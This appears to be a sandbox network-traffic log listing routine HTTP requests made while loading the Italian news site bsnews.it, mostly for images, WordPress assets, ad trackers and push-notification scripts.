Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/dc6b543c1346/main.js HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdBlockDetection/adblockDetector.min.js?abf=-adserver-%7C-doubleclick.js%7C-google-ad.%7C-google-adsense.&ref=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1Host: static.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0 HTTP/1.1Host: onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/1f4fa.svg HTTP/1.1Host: s.w.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/1f534.svg HTTP/1.1Host: s.w.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/656.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/801.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-admin/rest-proxy/ HTTP/1.1Host: public-api.wordpress.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://widgets.wp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/assets/codesour-logo.png HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /webPushIframe HTTP/1.1Host: bsnews.os.tcConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /geotarget/geocity.php?dnt=1 HTTP/1.1Host: services.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/consent_215875.js HTTP/1.1Host: clickiocmp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/js/rlt-proxy.js?m=20211122 HTTP/1.1Host: s0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://public-api.wordpress.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/05/300x250_bsm.jpg HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-admin/admin-ajax.php HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1 HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-11020879-7&cid=30849489.1711615863&jid=988736763&_u=YADAAUAAAAAAACAAI~&z=36407948 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
Source: global traffic	HTTP traffic detected: GET /g.gif?v=ext&blog=123231640&post=95325&tz=1&srv=bsnews.it&j=1%3A13.2.2&host=bsnews.it&ref=&fcp=4370&rand=0.5387852691627564 HTTP/1.1Host: pixel.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/283.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sdks/OneSignalSDK.js HTTP/1.1Host: cdn.onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.os.tc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/922.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/290.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/979.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=op&pos=0&loop=1&pb=1&dnt=1&rnd=1711615871094 HTTP/1.1Host: track.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=ef&pos=0&loop=1&pb=1&rnd=1711615872181 HTTP/1.1Host: track.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /DF2886F390D432DF0C8E98D69702ED6F/ HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
